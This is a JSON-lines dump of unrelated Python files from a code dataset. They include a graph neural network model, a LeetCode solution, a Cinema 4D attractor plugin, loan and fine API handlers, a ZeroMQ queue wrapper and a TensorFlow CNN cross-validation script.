\"\"\" \n Recurrent graph neural net model. \n \n Idea: \n A feedforward GNN has k layers limiting aggregation to k hops away. \n Recurrent GNN has infinite layers that share the same parameters.\n This enables aggregation from any distance away. \n Hidden state is computed based on node features and previous hidden state. \n \n Details:\n When training the model, initialize a random embedding for each node\n at the start. As the model is trained, the embedding will converge to\n a good embedding. \n \n Includes softmax to be consistent with GCN implemented above\n \n Implemented based on Gu (2017), equation 1 https://arxiv.org/abs/2009.06211\n \"\"\"\n def __init__(self,\n input_dim, \n output_dim, \n args, \n log,\n **kwargs):\n \"\"\" \n @param input_dim: \n Node feature dimension\n @param output_dim: \n Dimension of prediction output\n \n debug: if True, do some debug logging\n \"\"\" \n super(ImplicitGraphNeuralNet, self).__init__()\n \n self.args = args\n\n self.node_channels = input_dim\n self.hidden_channels = args.hidden_dim\n self.kappa = args.kappa\n self.drop_prob = args.drop_prob\n self.spectral_radius_dict = {}\n self.reg_coefficient = args.reg_coefficient\n self.reg_loss_type = args.reg_loss_type\n \n num_nodes = kwargs.pop('orig_num_nodes')\n \n self.log = log\n self.log.debug(f\"Model node channels = {self.node_channels}\")\n \n # Initialize the implicit graph layers\n self.implicit_graph_layers = nn.ModuleList([\n ImplicitGraph(input_dim, args.hidden_dim, num_nodes, args.kappa, args.init_type) for l in range(args.num_layers)\n ])\n \n self.prediction_head = nn.Linear(args.hidden_dim, output_dim)\n \n if self.args.embed_type != 'zero':\n self.embedding = nn.Embedding(num_nodes, args.hidden_dim)\n self.embedding.weight.requires_grad = False\n\n if self.args.embed_type == 'random':\n nn.init.uniform_(self.embedding.weight, -1.0, 1.0)\n\n def reset_parameters(self):\n self.prediction_head.reset_parameters()\n if self.args.embed_type == 'persistent':\n self.embedding.reset_parameters()\n\n \n def forward(self, data):\n \"\"\" \n @param data: Graph object\n \n @return y: Model outputs after convergence.\n \"\"\"\n node_index, node_feature, edge_index, adj_matrix = data.orig_node_idx, data.x, data.edge_index, data.adj_matrix\n adj_t = data.adj_t\n num_nodes = node_feature.shape[0]\n\n if hasattr(data, 'batch_index'):\n if data.batch_index not in self.spectral_radius_dict:\n self.spectral_radius_dict[data.batch_index] = compute_spectral_radius(adj_matrix)\n\n spectral_radius = self.spectral_radius_dict.get(data.batch_index)\n else:\n spectral_radius = compute_spectral_radius(adj_matrix)\n \n adj_matrix = torch.sparse.FloatTensor(\n torch.LongTensor(np.vstack((adj_matrix.row, adj_matrix.col))),\n torch.FloatTensor(adj_matrix.data),\n adj_matrix.shape).to(node_feature.device)\n\n if self.args.embed_type == 'zero':\n x = torch.zeros(num_nodes, self.hidden_channels).to(node_feature.device)\n else:\n x = self.embedding(node_index)\n \n # Train embeddings to convergence; this constitutes 1 forward pass\n self.log.debug(f\"Model u feature shape = {node_feature.shape}\")\n\n for implicit_graph in self.implicit_graph_layers:\n x = implicit_graph(torch.transpose(x, 0, 1), adj_matrix, torch.transpose(node_feature, 0, 1), F.relu, spectral_radius, \n self.args.max_forward_iterations, self.args.max_forward_iterations).T\n\n if self.args.embed_type == 'persistent' and self.training == True:\n self.embedding.weight[node_index] = x.detach().clone()\n \n x = F.dropout(x, self.drop_prob, training=self.training)\n prediction_logits = self.prediction_head(x)\n \n reg_loss = 0\n for implicit_graph in self.implicit_graph_layers:\n reg_loss += self.reg_coefficient * self.reg_loss(implicit_graph.W, spectral_radius)\n\n return prediction_logits, reg_loss\n \n def reg_loss(self, W, spectral_radius):\n \"\"\" Regularization losses \"\"\"\n if self.reg_loss_type == \"hard\":\n return hard_spectral_loss(W, spectral_radius)\n elif self.reg_loss_type == \"soft\":\n return soft_spectral_loss(W, spectral_radius)\n else:\n raise ValueError(\"Regularization loss type not recognized\")\n\nclass DataParallelWrapper(torch.nn.DataParallel): \n \"\"\" torch.nn.DataParallel that supports clamp() and reset_parameters()\"\"\" \n def reset_parameters(self):\n self.module.reset_parameters()\n","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"105290714","text":"# Time Complexity : O(mxn) \n# Space Complexity :O(mxn) ,for dp matrix.\n# Did this code successfully run on Leetcode : Yes\n# Any problem you faced while coding this : No\n# Your code here along with comments explaining your approach\n\n# Time = O(m^2 x n^2) | Space = O(1)\n# class Solution:\n# def maximalSquare(self, matrix: List[List[str]]) -> int:\n# if len(matrix) == 0:\n# return 0 \n# n = len(matrix)\n# m = len(matrix[0])\n# flag = False\n# max_ = 0 \n \n# for i in range(n):\n# for j in range(m):\n# if matrix[i][j] == '1':\n# flag = True \n# curr = 1 \n# while i + curr < n and j + curr < m and flag:\n# k = i + curr\n# while k >= i:\n# if matrix[k][j + curr] == '0':\n# flag = False \n# break \n# k -= 1 \n \n# k = j + curr \n# while k >= j:\n# if matrix[i+curr][k] =='0':\n# flag = False \n# break \n# k -= 1 \n \n# if flag:\n# curr += 1 \n \n# max_ = max(max_ , curr)\n# return max_ * max_\n \n \nclass Solution:\n def maximalSquare(self, matrix) :\n if len(matrix) == 0:\n return 0 \n result = 0 \n dp = [[0 for _ in range(len(matrix[0]) + 1)] for _ in range(len(matrix) + 1)]\n m , n = len(dp) , len(dp[0])\n \n for i in range(1,m):\n for j in range(1,n):\n if matrix[i-1][j-1] == '1':\n dp[i][j] = min(dp[i-1][j], dp[i][j-1],dp[i-1][j-1]) + 1 \n result = max(result, dp[i][j])\n \n return result*result\n \nif __name__ == \"__main__\":\n s = Solution()\n # Test case 1: \n print(s.maximalSquare([[\"1\",\"0\",\"1\",\"0\",\"0\"],[\"1\",\"0\",\"1\",\"1\",\"1\"],[\"1\",\"1\",\"1\",\"1\",\"1\"],[\"1\",\"0\",\"0\",\"1\",\"0\"]]))","sub_path":"Problem1.py","file_name":"Problem1.py","file_ext":"py","file_size_in_byte":2240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"613760985","text":"import c4d, math\nfrom c4d import gui\n\nPluginID = 100000\nPluginName = \"Ikeda Attractor\"\nObjectName = \"Ikeda Attractor\"\n\nN = 1000\na = 0.85 \nb = 0.90 \nc = 0.40 \nd = 9.00\ndelta = 0.01\nx0 = 0.4\ny0 = 0.5\nz0 = 0.0\nfactor = 100\nwidth = 150\nmaxfloat = 1000000\nmaxint = 100000000\n\ndef Ikeda(a, b, c, d, x0, y0, z0, delta, N, factor):\n spline = c4d.SplineObject(N, c4d.SPLINETYPE_LINEAR)\n spline.SetName(ObjectName)\n \n xa = x0\n y = y0\n z = z0\n \n t = c - d/(1 + xa*xa + y*y)\n x = a + b*(xa*cos(t) - y*sin(t))\n y = b*(xa*sin(t) + y*cos(t))\n xa = x\n \n for i in range(N):\n t = c - d/(1 + xa*xa + y*y)\n dx = a + b*(xa*cos(t) - y*sin(t))\n dy = b*(xa*sin(t) + y*cos(t))\n x = x + delta * dx\n y = y + delta * dy\n spline.SetPoint(i, c4d.Vector(x*factor, y*factor, 0))\n xa = x\n return spline\n\nclass CreateAttractor(gui.GeDialog):\n \n def CreateLayout(self):\n self.SetTitle(PluginName)\n\n self.GroupBegin(1000, c4d.BFH_SCALEFIT, 2, 2, \"\")\n self.AddStaticText(1001, c4d.BFH_LEFT, width, 0, \"Constant [a]\", 0)\n self.AddEditNumber(1002, c4d.BFH_LEFT, 100)\n self.AddStaticText(1003, c4d.BFH_RIGHT, width, 0, \"Constant [b]\", 0)\n self.AddEditNumber(1004, c4d.BFH_RIGHT, 100)\n self.AddStaticText(1005, c4d.BFH_LEFT, width, 0, \"Constant [c]\", 0)\n self.AddEditNumber(1006, c4d.BFH_LEFT, 100)\n self.AddStaticText(1007, c4d.BFH_LEFT, width, 0, \"Constant [d]\", 0)\n self.AddEditNumber(1008, c4d.BFH_LEFT, 100)\n self.GroupEnd()\n\n self.AddSeparatorH(0, c4d.BFH_SCALEFIT)\n\n self.GroupBegin(2000, c4d.BFH_SCALEFIT, 2, 3, \"\")\n self.AddStaticText(2001, c4d.BFH_LEFT, width, 0, \"Start [x]\", 0)\n self.AddEditNumber(2002, c4d.BFH_LEFT, 100)\n self.AddStaticText(2003, c4d.BFH_LEFT, width, 0, \"Start [y]\", 0)\n self.AddEditNumber(2004, c4d.BFH_LEFT, 100)\n self.AddStaticText(2003, c4d.BFH_LEFT, width, 0, \"Start [z]\", 0)\n self.AddEditNumber(2004, c4d.BFH_LEFT, 100)\n self.GroupEnd()\n\n self.AddSeparatorH(0, c4d.BFH_SCALEFIT)\n\n self.GroupBegin(3000, c4d.BFH_SCALEFIT, 2, 3, \"\")\n self.AddStaticText(3001, c4d.BFH_LEFT, width, 0, \"Delta\", 0)\n self.AddEditNumber(3002, c4d.BFH_LEFT, 100)\n self.AddStaticText(3003, c4d.BFH_LEFT, width, 0, \"Iterations [N]\", 0)\n self.AddEditNumber(3004, c4d.BFH_LEFT, 100)\n self.AddStaticText(3005, c4d.BFH_LEFT, width, 0, \"Factor [F]\", 0)\n self.AddEditNumber(3006, c4d.BFH_LEFT, 100)\n self.GroupEnd()\n\n self.AddSeparatorH(0, c4d.BFH_SCALEFIT)\n \n self.GroupBegin(4000, c4d.BFH_SCALEFIT, 2, 1, \"\")\n self.AddButton(4001, c4d.BFH_LEFT, 100, 0, \"Start\")\n self.AddButton(4002, c4d.BFH_RIGHT, 100, 0, \"Close\")\n self.GroupEnd()\n \n self.spline = None\n\n return True\n\n def InitValues(self):\n \n self.SetFloat(1002, a, -maxfloat, maxfloat, 0.01)\n self.SetFloat(1004, b, -maxfloat, maxfloat, 0.01)\n self.SetFloat(1006, c, -maxfloat, maxfloat, 0.01)\n self.SetFloat(1008, d, -maxfloat, maxfloat, 0.01)\n self.SetFloat(2002, x0, -maxfloat, maxfloat, 0.01)\n self.SetFloat(2004, y0, -maxfloat, maxfloat, 0.01)\n self.SetFloat(2006, z0, -maxfloat, maxfloat, 0.01)\n self.SetFloat(3002, delta, -maxfloat, maxfloat, 0.01)\n self.SetInt32(3004, N, -maxint, maxint, 1)\n self.SetInt32(3006, factor, -maxint, maxint, 1)\n \n return True\n\n def Command(self, id, msg):\n if id == 4001:\n a = self.GetFloat(1002)\n b = self.GetFloat(1004)\n c = self.GetFloat(1006)\n d = self.GetFloat(1008)\n x0 = self.GetFloat(2002)\n y0 = self.GetFloat(2004)\n z0 = self.GetFloat(2006)\n delta = self.GetFloat(3002)\n N = self.GetInt32(3004)\n factor = self.GetInt32(3006)\n \n spline = Ikeda(a, b, c, d, x0, y0, z0, delta, N, factor)\n self.spline = spline\n \n elif id == 4002:\n self.Close()\n \n return True\n\ndef main():\n dialog = CreateAttractor()\n dialog.Open(c4d.DLG_TYPE_MODAL_RESIZEABLE)\n \n if not dialog.spline: return\n spline = dialog.spline\n doc.InsertObject(spline, checknames=True)\n c4d.EventAdd()\n \nif __name__ == '__main__':\n main()\n \n# Presets\n# a = 0.85 b = 0.90 c = 0.40 d = 9.00\n# a = 1.00 b = 0.90 c = 0.40 d = 6.00\n# See also:\n# https://en.wikipedia.org/wiki/Ikeda_map\n# http://paulbourke.net/fractals/ikeda/\n# http://www.bentamari.com/attractors.html","sub_path":"Ikeda-8.py","file_name":"Ikeda-8.py","file_ext":"py","file_size_in_byte":4673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"654259230","text":"#-*-coding:utf-8-*-\nimport os\nimport base\nimport argparse\nfrom jobs import AlertaSession\n\nif __name__ == \"__main__\":\n os.environ['PYTHON_EGG_CACHE'] = \"/tmp\"\n\n parser = argparse.ArgumentParser(description=\"Execute process\")\n parser.add_argument('-e','--schemaExadata', metavar='schemaExadata', type=str, help='')\n parser.add_argument('-a','--schemaExadataAux', metavar='schemaExadataAux', type=str, help='')\n parser.add_argument('-g','--schemaOpenGeo', metavar='schemaOpenGeo', type=str, help='')\n parser.add_argument('-i','--impalaHost', metavar='impalaHost', type=str, help='')\n parser.add_argument('-o','--impalaPort', metavar='impalaPort', type=str, help='')\n parser.add_argument('-pl', '--prescricaoLimiar', metavar='prescricaoLimiar', type=int, default=90, help='')\n parser.add_argument('-al', '--schemaAlertas', metavar='schemaAlertas', type=str, help='')\n parser.add_argument('-ac', '--schemaAlertasCompras', metavar='schemaAlertasCompras', type=str, help='')\n parser.add_argument('-dtb', '--dateTACBegin', metavar='dateTACBegin', type=str, default='2021-05-01', help='')\n args = parser.parse_args()\n\n options = {\n 'schema_exadata': args.schemaExadata,\n 'schema_exadata_aux': args.schemaExadataAux,\n 'schema_opengeo': args.schemaOpenGeo,\n 'impala_host' : args.impalaHost,\n 'impala_port' : args.impalaPort,\n 'prescricao_limiar': args.prescricaoLimiar,\n 'schema_alertas': args.schemaAlertas,\n 'schema_alertas_compras': args.schemaAlertasCompras,\n 'date_tac_begin': args.dateTACBegin,\n }\n session = AlertaSession(options)\n session.generateAlertas()\n","sub_path":"src/alertas/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"464959503","text":"# uncompyle6 version 3.6.7\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 23:03:10) [MSC v.1916 64 bit (AMD64)]\n# Embedded file name: build/bdist.macosx-10.10-x86_64/egg/coreinit/msg/queue_zmq.py\n# Compiled at: 2015-11-12 02:42:40\nfrom coreinit.msg.queue_base import QueueBase\nfrom coreinit.utils.installer import *\n\nclass Queue(QueueBase):\n endpoint = None\n mode = None\n zmq_ctx = None\n zmq_sock = None\n NOBLOCK = None\n\n def configure(self, mode, endpoint):\n super(Queue, self).configure(mode, endpoint)\n try:\n import zmq\n except:\n install_system(['python-zmq'])\n\n self.NOBLOCK = zmq.NOBLOCK\n self.mode = mode\n self.endpoint = endpoint\n\n def conect(self):\n import zmq\n self.zmq_ctx = zmq.Context()\n if mode == 'PUSH':\n self.zmq_sock = self.zmq_ctx.socket(zmq.PUSH)\n self.zmq_sock.bind(self.endpoint)\n elif mode == 'PULL':\n self.zmq_sock = self.zmq_ctx.socket(zmq.PULL)\n self.zmq_sock.connect(self.endpoint)\n if mode == 'PUB':\n self.zmq_sock = self.zmq_ctx.socket(zmq.PUB)\n self.zmq_sock.bind(self.endpoint)\n elif mode == 'SUB':\n self.zmq_sock = self.zmq_ctx.socket(zmq.SUB)\n self.zmq_sock.connect(self.endpoint)\n\n def send(self, data):\n super(Queue, self).senf(data)\n self.zmq_sock.send(data)\n\n def recv(self, blocking=True):\n super(Queue, self).recv(blocking)\n if blocking:\n return self.zmq_sock.recv()\n else:\n return self.zmq_sock.recv(self.NOBLOCK)","sub_path":"pycfiles/coreio-0.0.1-py3-none-any/queue_zmq.py","file_name":"queue_zmq.py","file_ext":"py","file_size_in_byte":1680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"33679474","text":"from __future__ import print_function\nimport sys\nimport os\nimport time\n\nimport keras\nimport tensorflow as tf\nimport tensorflow.contrib.slim as slim\n\nfrom sklearn.metrics import classification_report, roc_auc_score, roc_curve, make_scorer, confusion_matrix\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn.metrics import auc, precision_recall_curve\n\nimport numpy\nfrom numpy import argmax\nfrom scipy import interp\nimport matplotlib\n\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\nfrom datetime import datetime\n\nfrom taylor_Decomposition import ProteinDataSet\n\nfrom model import get_placeholders, inference\n\nfrom imblearn.combine import SMOTEENN\n\n## output roc plot according to cross-validation,\n\ntotal_start_time = datetime.now()\n\nbatch_size = 200\nnum_classes = 2\nnum_features = 279\nseq_len = 9\nnum_features_per = 31\ncollection_name = \"sensitivity_analysis\"\nsplit_size = 5\nepochs = 20\nnum_windows = [256, 256, 256, 256, 256, 256, 256, 256, 256]\nwindow_lengths = [8, 12, 16, 20, 24, 28, 32, 36, 40]\nnum_hidden = 512\nkeep_prob = 0.7\nregularizer = 0.001\nlearning_rate = 0.005\n\n\ndef get_Data():\n X = []\n Y = []\n dataFile = \"/home/myc/projectpy/cnnTensorflowNew/data/279.csv\"\n print(\"data File:\", dataFile)\n\n for index, line in enumerate(open(dataFile, 'r').readlines()):\n w = line.split(',')\n label = w[-1:]\n features = w[:-1]\n\n try:\n label = [int(x) for x in label]\n features = [float(x) for x in features]\n except ValueError:\n print('Line %s is corrupt!' % index)\n break\n\n X.append(features)\n Y.extend(label)\n\n X = numpy.asarray(X)\n Y = numpy.asarray(Y)\n\n print(\"feature shape:\", X.shape)\n print(\"label shape:\", Y.shape)\n\n return X, Y\n\n\ndef model_summary():\n model_vars = tf.trainable_variables()\n slim.model_analyzer.analyze_vars(model_vars, print_info=True)\n\n\nimg_x, img_y = 1, num_features\n\n\ndef run_test(checkpoint_path, x_test, y_test, cvscores, tprs, fprs, aucs, fold):\n print('testing account:', len(x_test))\n\n\n with tf.Graph().as_default():\n # placeholder\n placeholders = get_placeholders(num_features, num_classes)\n\n # prediction\n pred, layers = inference(placeholders['data'], seq_len, num_features_per, num_classes, window_lengths,\n num_windows,\n num_hidden, keep_prob, regularizer,\n for_training=False)\n\n prediction = tf.nn.softmax(pred)\n\n # calculate prediction\n # accuracy\n _acc_op = tf.equal(tf.argmax(pred, 1), tf.argmax(placeholders['labels'], 1))\n train_accuracy = tf.reduce_mean(tf.cast(_acc_op, tf.float32))\n\n # create saver\n saver = tf.train.Saver()\n\n # summary\n summary_op = tf.summary.merge_all()\n\n with tf.Session() as sess:\n # load model\n ckpt = tf.train.latest_checkpoint(os.path.dirname(checkpoint_path))\n if tf.train.checkpoint_exists(ckpt):\n saver.restore(sess, ckpt)\n global_step = ckpt.split('/')[-1].split('-')[-1]\n\n else:\n #logging(\"[ERROR] Checkpoint not exist\", FLAGS)\n return\n\n dataset = ProteinDataSet(x_test, y_test)\n\n total_batch = int(dataset._num_examples / batch_size)\n\n test_accuracy_scores = []\n predict_scores = []\n labelss = []\n\n for data, labels in dataset.iter_batch(batch_size, 1):\n\n predict_score, test_accuracy_score = sess.run([prediction, train_accuracy],\n feed_dict={placeholders['data']: data,\n placeholders['labels']: labels})\n\n print('test Accuracy:', test_accuracy_score)\n test_accuracy_scores.append(test_accuracy_score)\n\n predict_scores.append(predict_score)\n labelss.append(labels)\n\n labelss = numpy.reshape(labelss, (dataset._num_data, num_classes))\n predict_scores = numpy.reshape(predict_scores, (dataset._num_data, num_classes))\n\n targetNames = ['class 0', 'class 1']\n y_test_argmax = argmax(labelss, axis=1)\n predict_argmax = argmax(predict_scores, axis=1)\n\n print(classification_report(y_true=y_test_argmax, y_pred=predict_argmax, target_names=targetNames))\n\n cnf_matrix = confusion_matrix(y_test_argmax, predict_argmax)\n\n print(cnf_matrix)\n\n print('roc:%.2f%%' % roc_auc_score(y_test_argmax, predict_argmax))\n\n # Compute ROC curve and area the curve\n fpr, tpr, thresholds = roc_curve(y_test[:, 1], predict_score[:, 1])\n\n mean_fpr = numpy.linspace(0, 1, 100)\n\n fprs[fold] = fpr\n # print(str(fold), ' fold fpr:', str(len(fpr)))\n tprs[fold] = tpr\n # print(str(fold), ' fold tpr:', str(len(tpr)))\n\n roc_auc = auc(fpr, tpr)\n aucs[fold] = roc_auc\n\n scores = predict_score\n cvscores[fold] = (scores[1] * 100)\n\n return test_accuracy_score, predict_score\n\n\ndef plot_draw(cvscores, tprs, fprs, aucs):\n plt.plot([0, 1], [0, 1], linestyle='--', lw=2, color='navy', label='Luck', alpha=.8)\n\n # mean_tpr = numpy.mean(tprs, axis=0)\n # mean_tpr[-1] = 1.0\n # mean_auc = auc(mean_fpr, mean_tpr)\n # std_auc = numpy.std(aucs)\n for i in range(len(fprs)):\n plt.plot(fprs[i], tprs[i], label=r'Mean ROC (AUC = %0.2f)' % aucs[i], lw=2, alpha=.8)\n\n # std_tpr = numpy.std(tprs, axis=0)\n # tprs_upper = numpy.minimum(mean_tpr + std_tpr, 1)\n # tprs_lower = numpy.maximum(mean_tpr - std_tpr, 0)\n # plt.fill_between(mean_fpr, tprs_lower, tprs_upper, color='grey', alpha=.2,\n # label=r'$\\pm$ 1 std. dev.')\n\n plt.xlim([-0.05, 1.05])\n plt.ylim([-0.05, 1.05])\n plt.xlabel('False Positive Rate')\n plt.ylabel('True Positive Rate')\n plt.title('Receiver operating characteristic example')\n plt.legend(loc=\"lower right\")\n # plt.show()\n argv0_list = sys.argv[0].split(\"/\")\n script_name = argv0_list[len(argv0_list) - 1] # get script file name self\n print(\"current script:\", script_name)\n script_name = script_name[0:-3] # remove \".py\"\n script_num = script_name.split('_')[2]\n plt.savefig(script_name + \".png\")\n\n\ndef cur_script_name():\n argv0_list = sys.argv[0].split(\"/\")\n script_name = argv0_list[len(argv0_list) - 1] # get script file name self\n print(\"current script:\", script_name)\n script_name = script_name[0:-3] # remove \".py\"\n return script_name\n\n\ndef plot_draw_cross_validation(fold, cvscores, tprso, fprs, aucs):\n plt.plot([0, 1], [0, 1], linestyle='--', lw=2, color='navy', label='Luck', alpha=.8)\n tprs = []\n mean_fpr = numpy.linspace(0, 1, 100)\n\n for i in range(len(tprso)):\n tprs.append(interp(mean_fpr, fprs[i], tprso[i]))\n\n for i in range(len(fprs)):\n plt.plot(fprs[i], tprso[i], alpha=0.3, label='ROC fold %d (AUC = %0.2f)' % (i, aucs[i]))\n # plt.plot(fprs[i], tprs[i], label=r'Mean ROC (AUC = %0.2f)' % aucs[i], lw=2, alpha=.8)\n\n mean_tpr = numpy.mean(tprs, axis=0)\n mean_tpr[-1] = 1.0\n mean_auc = auc(mean_fpr, mean_tpr)\n std_auc = numpy.std(list(aucs.values()))\n plt.plot(mean_fpr, mean_tpr, label=r'Mean ROC (AUC = %0.2f $\\pm$ %0.2f)' % (mean_auc, std_auc), alpha=.8)\n\n std_tpr = numpy.std(tprs, axis=0)\n tprs_upper = numpy.minimum(mean_tpr + std_tpr, 1)\n tprs_lower = numpy.maximum(mean_tpr - std_tpr, 0)\n plt.fill_between(mean_fpr, tprs_lower, tprs_upper, color='grey', alpha=.2, label=r'$\\pm$ 1 std. dev.')\n\n plt.xlim([-0.05, 1.05])\n plt.ylim([-0.05, 1.05])\n plt.xlabel('False Positive Rate')\n plt.ylabel('True Positive Rate')\n plt.title('Receiver operating characteristic')\n plt.legend(loc=\"lower right\")\n # plt.show()\n script_name = cur_script_name()\n plt.savefig(script_name + \"_fold\"+fold+\".png\")\n\n\ndef plot_precision_recall_vs_threshold(precisions, recalls, thresholds, fold):\n plt.plot(thresholds, precisions[:-1], label='Precision fold %d' % fold)\n plt.plot(thresholds, recalls[:-1], label='Recall fold %d' % fold)\n\n\ndef cross_validate(X, Y):\n results = []\n hmaps = []\n cvscores = dict()\n tprs = dict()\n fprs = dict()\n aucs = dict()\n checkpoints = []\n\n seed = 123456\n\n kfold = StratifiedKFold(n_splits=split_size, shuffle=True, random_state=5)\n current_time = time.time()\n time_tag = str(int(current_time))\n\n for fold, (train, test) in enumerate(kfold.split(X, Y)):\n checkpoint = []\n\n logdir = sys.path[0] + \"/log/log_\" + time_tag + \"_fold_\" + str(fold) + \"/\"\n ckptdir = logdir + '_model'\n\n if not os.path.exists(ckptdir):\n os.makedirs(ckptdir)\n\n checkpoint.append(logdir)\n checkpoint.append(ckptdir)\n\n print('\\n fold:%s' % fold)\n start_time = datetime.now()\n\n x_train = X[train]\n ky_train = Y[train]\n\n sm = SMOTEENN(ratio='auto', n_jobs=6)\n\n x_train, ky_train = sm.fit_sample(x_train, numpy.ravel(ky_train))\n\n x_test = X[test]\n\n print(\"training data count:\", len(x_train))\n\n x_train = x_train.astype('float32')\n x_test = x_test.astype('float32')\n\n y_train = keras.utils.to_categorical(ky_train, num_classes)\n y_test = keras.utils.to_categorical(Y[test], num_classes)\n # train\n\n with tf.Graph().as_default():\n # get placeholders\n global_step = tf.placeholder(tf.int32)\n placeholders = get_placeholders(num_features, num_classes)\n\n # prediction\n pred, layers = inference(placeholders['data'], seq_len, num_features_per, num_classes, window_lengths,\n num_windows,\n num_hidden, keep_prob, regularizer,\n for_training=True)\n\n tf.losses.softmax_cross_entropy(placeholders['labels'], pred)\n cost = tf.losses.get_total_loss()\n\n # accuracy\n _acc_op = tf.equal(tf.argmax(pred, 1), tf.argmax(placeholders['labels'], 1))\n train_accuracy = tf.reduce_mean(tf.cast(_acc_op, tf.float32))\n\n # optimization\n optimizer = tf.train.AdamOptimizer(learning_rate).minimize(cost)\n\n cost_summary = tf.summary.scalar('Train loss', cost)\n accuray_summary = tf.summary.scalar('Train acc_op', train_accuracy)\n summary = tf.summary.merge_all()\n\n model_summary()\n\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n print(\"\\n Start training\")\n\n train_data = ProteinDataSet(x_train, y_train)\n\n saver = tf.train.Saver()\n file_writer = tf.summary.FileWriter(logdir, tf.get_default_graph())\n\n for epoch in range(epochs):\n total_batch = int(train_data._num_examples / batch_size)\n avg_cost = 0\n avg_acc = 0\n\n for i in range(total_batch):\n batch_x, batch_y = train_data.next_batch(batch_size)\n _, c, a, summary_str = sess.run([optimizer, cost, train_accuracy, summary],\n feed_dict={placeholders['data']: batch_x,\n placeholders['labels']: batch_y})\n avg_cost += c / total_batch\n avg_acc += a / total_batch\n\n file_writer.add_summary(summary_str, epoch * total_batch + i)\n\n print('Epoch:', '%04d' % (epoch + 1), 'cost =', '{:.9f}'.format(avg_cost), 'accuracy =',\n '{:.9f}'.format(avg_acc))\n\n saver.save(sess, ckptdir)\n # print('Accuracy:', session.run(accuracy, feed_dict={X: mnist.test.images, Y: mnist.test.labels}))\n\n # print('Accuracy:', session.run(train_accuracy, feed_dict={x_placeholder: x_test, y_placeholder: y_test}))\n # test\n\n test_accuracy_score, predict_score = run_test(ckptdir, x_test, y_test,\n cvscores, tprs, fprs, aucs, fold)\n results.append(test_accuracy_score)\n\n precisions, recalls, thresholds = precision_recall_curve(argmax(y_test, axis=1), argmax(predict_score, axis=1))\n plot_precision_recall_vs_threshold(precisions, recalls, thresholds, fold)\n\n end_time = datetime.now()\n\n print(\"The \", fold, \" fold Duration: {}\".format(end_time - start_time))\n\n # draw precision recall plot and then close plt\n plt.xlabel(\"Threshold\")\n plt.legend(loc='lower right')\n plt.ylim([0, 1])\n plt.savefig('./' + cur_script_name() +\"_fold\"+fold+ '_precision_recall')\n plt.close()\n\n # draw plot\n plot_draw_cross_validation(fold, cvscores, tprs, fprs, aucs)\n\n\nX, Y = get_Data()\n\ncross_validate(X, Y)\n\n# print(\"Cross-validation test accuracy: %s\" % results)\n# print(\"Test accuracy: %f\" % session.run(accuracy, feed_dict={x_placeholder: test_x, y_placeholder: test_y}))\n\ntotal_end_time = datetime.now()\nprint(\"/n/n total duration : {}\".format(total_end_time, total_start_time))\n","sub_path":"prna_pssm/cnn_Fam.py","file_name":"cnn_Fam.py","file_ext":"py","file_size_in_byte":13354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"512079467","text":"from nj.models import *\nfrom nj import utils\n\ndef calc(request):\n member = Member.objects.get(id=int(request['member_id']))\n return {\n 'fills': member.get_kvp().calc(request['start_month'], request['start_year'], request['end_month'], request['end_year'])\n }\n\ndef getFactFills(request):\n fills = []\n start = utils.str_to_date(request['start'])\n end = utils.str_to_date(request['end'])\n for fill in Fill.objects.filter(member_id=int(request['member_id'])):\n if fill.date <= end and fill.date >= start:\n fills.append(fill.to_json())\n return {\n 'fills': fills\n }\n\ndef calcDebt(request):\n loan = Loan.objects.get(id=int(request['id']))\n loan.calc_debt();\n return {\n 'success': True\n }\n\ndef removeFill(request):\n fill = Fill.objects.get(id=int(request['id']))\n fill.delete()\n return {\n 'success': True\n }\n\ndef getFines(request):\n fines = []\n for fine in Fine.objects.filter(member_id=request['member_id']):\n fines.append(fine.to_json())\n return {\n 'fines': fines\n }\n\ndef addFine(request):\n fine = Fine.objects.create(member_id=request['member_id'], amount=request['amount'])\n return {\n 'success': True,\n 'fine': fine.to_json()\n }\n\ndef removeFine(request):\n fine = Fine.objects.get(id=int(request['id']))\n fine.delete()\n return {\n 'success': True\n }\n\ndef closeLoan(request):\n loan = Loan.objects.get(id=int(request['id']))\n loan.close(request['date'])\n return {\n 'success': True\n }\n\ndef getLoansArchiveTotal(request):\n total = 0\n for loan in ClosedLoan.objects.filter(member_id=int(request['member_id'])):\n total += loan.amount\n return {\n 'total': total\n }\n\ndef getBalance(request):\n member_id = int(request['member_id'])\n fillsTotal = 0\n loansTotal = 0\n balance = 0\n kvp = KvpMember.objects.get(member_id=member_id)\n for fill in kvp.get_active_fills(True):\n fillsTotal += fill.amount\n for loan in Loan.objects.filter(member_id=member_id):\n loansTotal += loan.amount\n for fine in Fine.objects.filter(member_id=member_id):\n loansTotal += fine.amount\n balance = fillsTotal - loansTotal\n return {\n 'fillsTotal': fillsTotal,\n 'loansTotal': loansTotal,\n 'balance': balance\n }\n\ndef moveFills(request):\n loan_id = int(request['loan_id'])\n for fill in Fill.objects.filter(member_id=int(request['member_id']), loan_id=None):\n fill.loan_id = loan_id\n fill.save()\n return {\n 'success': True\n }","sub_path":"nj/tabs/kvp/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":2594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"67712086","text":"\"\"\"\nTools for dealing with spike trains.\n\"\"\"\n\n__license__ = 'MIT License '\n__author__ = 'Lucas Theis '\n__docformat__ = 'epytext'\n__version__ = '0.1.0'\n\nfrom . import extract_windows\n\ndef generate_data_from_spike_train(stimulus, stimulus_history, spike_train=None, 